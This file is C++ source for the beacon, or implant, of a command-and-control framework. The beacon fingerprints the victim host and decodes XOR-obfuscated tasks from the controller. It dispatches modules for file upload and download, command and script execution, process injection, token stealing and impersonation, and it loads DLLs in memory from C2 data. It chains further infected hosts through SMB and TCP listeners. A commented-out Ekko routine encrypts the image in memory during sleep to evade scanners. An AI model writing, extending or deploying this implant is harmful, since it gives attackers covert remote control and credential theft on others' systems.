#include "Beacon.hpp"

#include <random>

#ifdef __linux__

#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <sys/utsname.h>

#elif _WIN32

#include <wtsapi32.h>
#include <MemoryModule.h>

#define INFO_BUFFER_SIZE 32767
#define  ENV_VAR_STRING_COUNT  (sizeof(envVarStrings)/sizeof(TCHAR*))

typedef ModuleCmd* (*constructProc)();

#pragma comment(lib, "Wtsapi32.lib")

#endif

using namespace std;


#ifdef __linux__
#elif _WIN32

enum IntegrityLevel 
{
	INTEGRITY_UNKNOWN,
	UNTRUSTED_INTEGRITY,
	LOW_INTEGRITY,
	MEDIUM_INTEGRITY,
	HIGH_INTEGRITY,
};

IntegrityLevel GetCurrentProcessIntegrityLevel() 
{
	HANDLE hToken = NULL;
	BOOL result = false;
	TOKEN_USER* tokenUser = NULL;
	DWORD dwLength = 0;

	OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);

	DWORD token_info_length = 0;
	if (::GetTokenInformation(hToken, TokenIntegrityLevel,
		nullptr, 0, &token_info_length) ||
		::GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
		return INTEGRITY_UNKNOWN;
	}

	auto token_label_bytes = std::make_unique<char[]>(token_info_length);
	TOKEN_MANDATORY_LABEL* token_label =
		reinterpret_cast<TOKEN_MANDATORY_LABEL*>(token_label_bytes.get());
	if (!::GetTokenInformation(hToken, TokenIntegrityLevel,
		token_label, token_info_length,
		&token_info_length)) {
		return INTEGRITY_UNKNOWN;
	}
	DWORD integrity_level = *::GetSidSubAuthority(
		token_label->Label.Sid,
		static_cast<DWORD>(*::GetSidSubAuthorityCount(token_label->Label.Sid) -
			1));

	if (integrity_level < SECURITY_MANDATORY_LOW_RID)
		return UNTRUSTED_INTEGRITY;

	if (integrity_level < SECURITY_MANDATORY_MEDIUM_RID)
		return LOW_INTEGRITY;

	if (integrity_level >= SECURITY_MANDATORY_MEDIUM_RID &&
		integrity_level < SECURITY_MANDATORY_HIGH_RID) {
		return MEDIUM_INTEGRITY;
	}

	if (integrity_level >= SECURITY_MANDATORY_HIGH_RID)
		return HIGH_INTEGRITY;

	return INTEGRITY_UNKNOWN;
}
#endif


Beacon::Beacon(const std::string& ip, int port)
{
	m_ip = ip;
	m_port = port;
	m_beaconHash = random_string(SizeBeaconHash);
	m_aliveTimerMs = 1000;

	srand(time(NULL));

#ifdef __linux__

	std::unique_ptr<AssemblyExec> assemblyExec = std::make_unique<AssemblyExec>();
	m_moduleCmd.push_back(std::move(assemblyExec));

	std::unique_ptr<Upload> upload = std::make_unique<Upload>();
	m_moduleCmd.push_back(std::move(upload));

	std::unique_ptr<Run> run = std::make_unique<Run>();
	m_moduleCmd.push_back(std::move(run));

	std::unique_ptr<Download> download = std::make_unique<Download>();
	m_moduleCmd.push_back(std::move(download));

	std::unique_ptr<Inject> inject = std::make_unique<Inject>();
	m_moduleCmd.push_back(std::move(inject));
	
	std::unique_ptr<Script> script = std::make_unique<Script>();
	m_moduleCmd.push_back(std::move(script));

	std::unique_ptr<PrintWorkingDirectory> printWorkingDirectory = std::make_unique<PrintWorkingDirectory>();
	m_moduleCmd.push_back(std::move(printWorkingDirectory));

	std::unique_ptr<ChangeDirectory> changeDirectory = std::make_unique<ChangeDirectory>();
	m_moduleCmd.push_back(std::move(changeDirectory));

	std::unique_ptr<ListDirectory> listDirectory = std::make_unique<ListDirectory>();
	m_moduleCmd.push_back(std::move(listDirectory));

	std::unique_ptr<ListProcesses> listProcesses = std::make_unique<ListProcesses>();
	m_moduleCmd.push_back(std::move(listProcesses));

	std::unique_ptr<MakeToken> makeToken = std::make_unique<MakeToken>();
	m_moduleCmd.push_back(std::move(makeToken));
	
	std::unique_ptr<Rev2self> rev2self = std::make_unique<Rev2self>();
	m_moduleCmd.push_back(std::move(rev2self));

	std::unique_ptr<StealToken> stealToken = std::make_unique<StealToken>();
	m_moduleCmd.push_back(std::move(stealToken));

	std::unique_ptr<CoffLoader> coffLoader = std::make_unique<CoffLoader>();
	m_moduleCmd.push_back(std::move(coffLoader));

#elif _WIN32
#endif

#ifdef __linux__

	char hostname[HOST_NAME_MAX];
	char username[LOGIN_NAME_MAX];
	gethostname(hostname, HOST_NAME_MAX);
	getlogin_r(username, LOGIN_NAME_MAX);

	m_hostname = hostname;
	m_username = username;

	uid_t uid = geteuid ();
	struct passwd *pw = getpwuid (uid);
	if (pw)
		m_username = std::string(pw->pw_name);

	struct utsname unameData;
	uname(&unameData);

	// TODO what to do with all that info ?? How to get it ??
	// std::cout << unameData.sysname << std::endl;
	// std::cout << unameData.nodename << std::endl;
	// std::cout << unameData.release << std::endl;
	// std::cout << unameData.version << std::endl;
	// std::cout << unameData.machine << std::endl;

	m_arch = unameData.machine;

	m_privilege = "user";
	if(m_username=="root")
		m_privilege = "root";
	
	m_os = unameData.sysname;
	m_os += " ";
	m_os += unameData.release;

#elif _WIN32

	TCHAR  infoBuf[INFO_BUFFER_SIZE];
	DWORD  bufCharCount = INFO_BUFFER_SIZE;

	// Get and display the name of the computer.
	m_hostname = "unknown";
	if( GetComputerName( infoBuf, &bufCharCount ) )
		m_hostname = infoBuf;

	std::string username1;
    if( GetUserName( infoBuf, &bufCharCount ) )
    	username1 = infoBuf;

	// ??
	std::string acctName;
	std::string domainname;

	TOKEN_USER tokenUser;
	ZeroMemory(&tokenUser, sizeof(TOKEN_USER));
	DWORD tokenUserLength = 0;

	PTOKEN_USER pTokenUser;
	GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, NULL,      
	0, &tokenUserLength);
	pTokenUser = (PTOKEN_USER) new BYTE[tokenUserLength];

	if (GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, pTokenUser, tokenUserLength, &tokenUserLength))
	{
		TCHAR szUserName[_MAX_PATH];
		DWORD dwUserNameLength = _MAX_PATH;
		TCHAR szDomainName[_MAX_PATH];
		DWORD dwDomainNameLength = _MAX_PATH;
		SID_NAME_USE sidNameUse;
		LookupAccountSid(NULL, pTokenUser->User.Sid, szUserName, &dwUserNameLength, szDomainName, &dwDomainNameLength, &sidNameUse);
		acctName=szUserName;
		domainname=szDomainName;
		delete pTokenUser;
	}

	if(!domainname.empty())
		m_username+=domainname;
	else if(!m_hostname.empty())
		m_username+=m_hostname;
	else 
		m_username+=".";

	m_username+="\\";
	if(!acctName.empty())
		m_username+=acctName;
	else if(!username1.empty())
		m_username+=username1;
	else 
		m_username+="unknow";

	SYSTEM_INFO systemInfo = { 0 };
	GetNativeSystemInfo(&systemInfo);

	m_arch = "x64";
	if (systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
		m_arch = "x86";

	m_os = "Windows";

	IntegrityLevel integrityLevel = GetCurrentProcessIntegrityLevel();

	m_privilege = "-";
	if (integrityLevel == INTEGRITY_UNKNOWN)
		m_privilege = "UNKNOWN";
	else if (integrityLevel == UNTRUSTED_INTEGRITY)
		m_privilege = "UNTRUSTED";
	else if (integrityLevel == LOW_INTEGRITY)
		m_privilege = "LOW";
	else if (integrityLevel == MEDIUM_INTEGRITY)
		m_privilege = "MEDIUM";
	else if (integrityLevel == HIGH_INTEGRITY)
		m_privilege = "HIGH";

#endif
}


// Distribute commands from C2 adress to this beacon and child beacons
bool Beacon::cmdToTasks(const std::string& input)
{
	std::string key="dfsdgferhzdzxczevre5595485sdg";
	std::string data = base64_decode(input);
	XOR(data, key);

	MultiBundleC2Message multiBundleC2Message;
	multiBundleC2Message.ParseFromArray(data.data(), (int)data.size());

	for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++) 
	{
		BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k);

		// Handle tasks address to this particular Beacon
		std::string beaconhash = bundleC2Message->beaconhash();
		if(beaconhash==m_beaconHash)
		{
			for (int j = 0; j < bundleC2Message->c2messages_size(); j++) 
			{
				const C2Message& c2Message = bundleC2Message->c2messages(j);
				m_tasks.push(c2Message);
			}
		}
		// Handle tasks address to child sessions
		else
		{
			for(int i=0; i<m_listeners.size(); i++)
			{
				for(int j=0; j<m_listeners[i]->getNumberOfSession(); j++)
				{
					std::shared_ptr<Session> ptr = m_listeners[i]->getSessionPtr(j);

					if(ptr->getBeaconHash()==beaconhash)
					{
						for (int k = 0; k < bundleC2Message->c2messages_size(); k++) 
						{
							const C2Message& c2Message = bundleC2Message->c2messages(k);
							m_listeners[i]->queueTask(beaconhash, c2Message);
						}
					}
				}
			}
		}
	}

	return true;
}


// Create the response message from the results of all the commmands send to this beacon and child beacons
bool Beacon::taskResultsToCmd(std::string& output)
{
	// Handle results of commands address to this particular Beacon
	MultiBundleC2Message multiBundleC2Message;
	BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages();

	bundleC2Message->set_beaconhash(m_beaconHash);
	bundleC2Message->set_hostname(m_hostname);
	bundleC2Message->set_username(m_username);
	bundleC2Message->set_arch(m_arch);
	bundleC2Message->set_privilege(m_privilege);
	bundleC2Message->set_os(m_os);
	bundleC2Message->set_lastProofOfLife("0");

	while(!m_taskResult.empty())
	{
		C2Message c2MessageRet=m_taskResult.front();
		C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
		addedC2MessageRet->CopyFrom(c2MessageRet);
		m_taskResult.pop();
	}

	// Handle results of commands address to child sessions
	for(int i=0; i<m_listeners.size(); i++)
	{
		for(int j=0; j<m_listeners[i]->getNumberOfSession(); j++)
		{
			std::shared_ptr<Session> ptr = m_listeners[i]->getSessionPtr(j);

			BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages();
			
			bundleC2Message->set_beaconhash(ptr->getBeaconHash());
			bundleC2Message->set_listenerhash(ptr->getListenerHash());
			bundleC2Message->set_hostname(ptr->getHostname());
			bundleC2Message->set_username(ptr->getUsername());
			bundleC2Message->set_arch(ptr->getArch());
			bundleC2Message->set_privilege(ptr->getPrivilege());
			bundleC2Message->set_os(ptr->getOs());
			bundleC2Message->set_lastProofOfLife(ptr->getLastProofOfLife());

			C2Message c2Message = ptr->getTaskResult();
			while(!c2Message.instruction().empty())
			{
				C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
				addedC2MessageRet->CopyFrom(c2Message);
				c2Message = ptr->getTaskResult();
			}
		}
	}

	std::string data;
	multiBundleC2Message.SerializeToString(&data);

	std::string key="dfsdgferhzdzxczevre5595485sdg";
	XOR(data, key);
	output = base64_encode(data);

	return true;
}


// Execute the right module corresponding to the command received from the C2
bool Beacon::runTasks()
{
	// Handle every task adress to this beacon and put results in a list that will be use to create the response message
	while(!m_tasks.empty())
	{
		C2Message c2Message = m_tasks.front();
		m_tasks.pop();

		C2Message c2RetMessage;
		bool exit = execInstruction(c2Message, c2RetMessage);

		std::string out;
		c2RetMessage.SerializeToString(&out);

		m_taskResult.push(c2RetMessage);

		if(exit)
			return exit; 
	}

	// For every listener add a proof of life to the result list that will be use to create the response message
	// It's usefull in case of link with the beacon die and is then reinstated
	for(int i=0; i<m_listeners.size(); i++)
	{
		C2Message listenerProofOfLife;

		std::string listenerHash = m_listeners[i]->getListenerHash();
		listenerProofOfLife.set_instruction(ListenerPolCmd);
		listenerProofOfLife.set_returnvalue(listenerHash);

		m_taskResult.push(listenerProofOfLife);
	}

	return false;
}


void Beacon::sleep()
{
	if(m_aliveTimerMs<=0)
	{
		// EkkoObf( 50 );
		std::this_thread::sleep_for(std::chrono::milliseconds(50));		
	}
	else
	{
		int dela = rand()%(int(float(m_aliveTimerMs)/100.0*20.0))-int(float(m_aliveTimerMs)/100.0*10.0);
		int timeToSleepMs = m_aliveTimerMs + dela;

		// EkkoObf( timeToSleepMs );
		std::this_thread::sleep_for(std::chrono::milliseconds(timeToSleepMs));
	}
}


// Main function that execute command comming from the C2
// Commands releated to modules are handle by them
// Commands releated to beacon internal functions are handle in this function
bool Beacon::execInstruction(C2Message& c2Message, C2Message& c2RetMessage)
{
	string instruction = c2Message.instruction();
	string cmd = c2Message.cmd();

	c2RetMessage.set_instruction(instruction);
	c2RetMessage.set_cmd(cmd);

	if (instruction == EndCmd)
	{
		c2RetMessage.set_returnvalue(CmdStatusSuccess);
		return true;
	}
	else if (instruction == SleepCmd)
	{
		std::string newSleepTimer = c2Message.cmd();
		
		try 
		{
			m_aliveTimerMs = std::stoi(newSleepTimer)*1000;
		}
		catch (const std::invalid_argument& ia) 
		{
			newSleepTimer = CmdStatusFail;
		}

		c2RetMessage.set_returnvalue(newSleepTimer);
	}
	else if(instruction == ListenerCmd)
	{
		std::vector<std::string> splitedCmd;
		std::string delimiter = " ";
		splitList(cmd, delimiter, splitedCmd);

		if(splitedCmd[0]==StartCmd)
		{
			if(splitedCmd[1]=="smb")
			{
				std::string pipeName = splitedCmd[2];

				std::vector<unique_ptr<Listener>>::iterator object = 
					find_if(m_listeners.begin(), m_listeners.end(),
							[&](unique_ptr<Listener> & obj){ return obj->getHost() == pipeName;}
							);

				if(object!=m_listeners.end())
				{
					std::string msg = "Listener already exist";
					// Respond the listener already exist
					c2RetMessage.set_cmd("");
					c2RetMessage.set_returnvalue(msg);
				}
				else
				{
					std::unique_ptr<ListenerSmb> listenerSmb = make_unique<ListenerSmb>(pipeName);
					std::string listenerHash = listenerSmb->getListenerHash();
					m_listeners.push_back(std::move(listenerSmb));

					// Respond with the listener hash
					c2RetMessage.set_cmd(cmd);
					c2RetMessage.set_returnvalue(listenerHash);
				}
			}
			else if(splitedCmd[1]=="tcp")
			{
				std::string localHost = splitedCmd[2];
				int localPort = std::stoi(splitedCmd[3]);

				std::vector<unique_ptr<Listener>>::iterator object = 
					find_if(m_listeners.begin(), m_listeners.end(),
							[&](unique_ptr<Listener> & obj){ return obj->getPort() == localPort;}
							);

				if(object!=m_listeners.end())
				{
					std::string msg = "Listener already exist";
					// Respond the listener already exist
					c2RetMessage.set_cmd("");
					c2RetMessage.set_returnvalue(msg);
				}
				else
				{
					// TODO fail ??
					std::unique_ptr<ListenerTcp> listenerTcp = make_unique<ListenerTcp>(localHost, localPort);
					std::string listenerHash = listenerTcp->getListenerHash();
					m_listeners.push_back(std::move(listenerTcp));

					// Respond with the listener hash
					c2RetMessage.set_cmd(cmd);
					c2RetMessage.set_returnvalue(listenerHash);
				}
			}
		}
		else if(splitedCmd[0]==StopCmd)
		{
			std::string listenerHash=splitedCmd[1];

			std::vector<unique_ptr<Listener>>::iterator object = 
				find_if(m_listeners.begin(), m_listeners.end(),
						[&](unique_ptr<Listener> & obj){ return obj->getListenerHash() == listenerHash;}
						);

			std::string msg = "hash not found";
			if(object!=m_listeners.end())
			{
				m_listeners.erase(std::remove(m_listeners.begin(), m_listeners.end(), *object));
				std::move(*object);
				msg = listenerHash;
			}
			else 
				cmd="";

			c2RetMessage.set_cmd(cmd);
			c2RetMessage.set_returnvalue(msg);
		}
	}
	else if(instruction == LoadC2Module)
	{
#ifdef __linux__
#elif _WIN32

		const std::string buffer = c2Message.data();

		HMEMORYMODULE handle = NULL;
		handle = MemoryLoadLibrary((char*)buffer.data(), buffer.size());
		if (handle == NULL)
		{
			DWORD errorMessageID = ::GetLastError();
			if(errorMessageID == 0) {
				return false;
			}

			LPSTR messageBuffer = nullptr;

			//Ask Win32 to give us the string version of that message ID.
			//The parameters we pass in, tell Win32 to create the buffer that holds the message for us (because we don't yet know how long the message string will be).
			size_t size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
										NULL, errorMessageID, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL);
			
			//Copy the error message into a std::string.
			std::string message(messageBuffer, size);
			
			//Free the Win32's string's buffer.
			LocalFree(messageBuffer);

			std::string msg = "Error MemoryLoadLibrary: ";
			msg+=message;
			c2RetMessage.set_returnvalue(msg);
			return false;
		}

		// the DLL only exports one function, try to load by ordinal value
		// If the dll export multiple function we got to make sur the export function come first (alphabetical number)
		constructProc construct;
		construct = (constructProc)MemoryGetProcAddress(handle, reinterpret_cast<LPCSTR>(0x01));
		if (!construct != NULL) 
		{
			std::string msg = "Error MemoryGetProcAddress";
			c2RetMessage.set_returnvalue(msg);
			return false;
		}
    
        ModuleCmd* moduleCmd = construct();

		std::unique_ptr<ModuleCmd> moduleCmd_(moduleCmd);
		m_moduleCmd.push_back(std::move(moduleCmd_));

		std::string msg = "Module loaded successfully:\n";
		msg += m_moduleCmd.back()->getInfo();
		c2RetMessage.set_returnvalue(msg);

#endif
	}
	else if(instruction == UnloadC2Module)
	{
#ifdef __linux__
#elif _WIN32
		std::string moduleName = c2Message.cmd();

		std::vector<unique_ptr<ModuleCmd>>::iterator object = 
			find_if(m_moduleCmd.begin(), m_moduleCmd.end(),
					[&](unique_ptr<ModuleCmd> & obj){ return obj->getName() == moduleName;}
					);

		std::string msg = "module not found";
		if(object!=m_moduleCmd.end())
		{
			m_moduleCmd.erase(std::remove(m_moduleCmd.begin(), m_moduleCmd.end(), *object));
			std::move(*object);
			msg = "Module ";
			msg += moduleName;
			msg += " removed.";
		}

		c2RetMessage.set_returnvalue(msg);
#endif
	}
	// Command to be executed by a loaded module
	else
	{
		bool isModuleFound=false;
		for(auto it = m_moduleCmd.begin() ; it != m_moduleCmd.end(); ++it )
		{
			if (instruction == (*it)->getName())
			{
				(*it)->process(c2Message, c2RetMessage);
				isModuleFound=true;
			}
		}
		if(!isModuleFound)
		{
			std::string msg = "Module ";
			msg+=instruction;
			msg+=" not found.";
			c2RetMessage.set_returnvalue(msg);
		}
	}

	return false;
}


// #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
// #define NtCurrentThread() (  ( HANDLE ) ( LONG_PTR ) -2 )
// #define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 )

// typedef struct {
//     DWORD	Length;
//     DWORD	MaximumLength;
//     PVOID	Buffer;
// } USTRING ;



// VOID EkkoObf( DWORD SleepTime )
// {
//     CONTEXT CtxThread   = { 0 };

//     CONTEXT RopProtRW   = { 0 };
//     CONTEXT RopMemEnc   = { 0 };
//     CONTEXT RopDelay    = { 0 };
//     CONTEXT RopMemDec   = { 0 };
//     CONTEXT RopProtRX   = { 0 };
//     CONTEXT RopSetEvt   = { 0 };

//     HANDLE  hTimerQueue = NULL;
//     HANDLE  hNewTimer   = NULL;
//     HANDLE  hEvent      = NULL;
//     PVOID   ImageBase   = NULL;
//     DWORD   ImageSize   = 0;
//     DWORD   OldProtect  = 0;

// 	CHAR KeyBuf[16];
// 	unsigned int r = 0;
// 	for (int i = 0; i < 16; i++) 
// 		KeyBuf[i] = (CHAR) rand();

//     USTRING Key         = { 0 };
//     USTRING Img         = { 0 };

//     PVOID   NtContinue  = NULL;
//     PVOID   SysFunc032  = NULL;

//     hEvent      = CreateEventW( 0, 0, 0, 0 );
//     hTimerQueue = CreateTimerQueue();

//     NtContinue  = GetProcAddress( GetModuleHandleA( "Ntdll" ), "NtContinue" );
//     SysFunc032  = GetProcAddress( LoadLibraryA( "Advapi32" ),  "SystemFunction032" );

//     ImageBase   = GetModuleHandleA( NULL );
//     ImageSize   = ( ( PIMAGE_NT_HEADERS ) ( (DWORD64) ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage;

//     Key.Buffer  = KeyBuf;
//     Key.Length  = Key.MaximumLength = 16;

//     Img.Buffer  = ImageBase;
//     Img.Length  = Img.MaximumLength = ImageSize;

//     if ( CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
//     {
//         WaitForSingleObject( hEvent, 0x32 );

//         memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) );
//         memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) );
//         memcpy( &RopDelay,  &CtxThread, sizeof( CONTEXT ) );
//         memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) );
//         memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) );
//         memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) );

//         // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect );
//         RopProtRW.Rsp  -= 8;
//         RopProtRW.Rip   = (DWORD64)VirtualProtect;
//         RopProtRW.Rcx   = (DWORD64)ImageBase;
//         RopProtRW.Rdx   = (DWORD64)ImageSize;
//         RopProtRW.R8    = (DWORD64)PAGE_READWRITE;
//         RopProtRW.R9    = (DWORD64)&OldProtect;

// 		// "RtlEncryptDecryptRC4"
//         // SystemFunction032( &Key, &Img );
//         RopMemEnc.Rsp  -= 8;
//         RopMemEnc.Rip   = (DWORD64)SysFunc032;
//         RopMemEnc.Rcx   = (DWORD64)&Img;
//         RopMemEnc.Rdx   = (DWORD64)&Key;

//         // WaitForSingleObject( hTargetHdl, SleepTime );
//         RopDelay.Rsp   -= 8;
//         RopDelay.Rip    = (DWORD64)WaitForSingleObject;
//         RopDelay.Rcx    = (DWORD64)NtCurrentProcess();
//         RopDelay.Rdx    = (DWORD64)SleepTime;

//         // SystemFunction032( &Key, &Img );
//         RopMemDec.Rsp  -= 8;
//         RopMemDec.Rip   = (DWORD64)SysFunc032;
//         RopMemDec.Rcx   = (DWORD64)&Img;
//         RopMemDec.Rdx   = (DWORD64)&Key;

//         // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect );
//         RopProtRX.Rsp  -= 8;
//         RopProtRX.Rip   = (DWORD64)VirtualProtect;
//         RopProtRX.Rcx   = (DWORD64)ImageBase;
//         RopProtRX.Rdx   = (DWORD64)ImageSize;
//         RopProtRX.R8    = (DWORD64)PAGE_EXECUTE_READWRITE;
//         RopProtRX.R9    = (DWORD64)&OldProtect;

//         // SetEvent( hEvent );
//         RopSetEvt.Rsp  -= 8;
//         RopSetEvt.Rip   = (DWORD64)SetEvent;
//         RopSetEvt.Rcx   = (DWORD64)hEvent;

//         CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD );
//         CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD );
//         CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopDelay,  300, 0, WT_EXECUTEINTIMERTHREAD );
//         CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD );
//         CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD );
//         CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD );

//         WaitForSingleObject( hEvent, INFINITE );
//     }

//     DeleteTimerQueue( hTimerQueue );
// }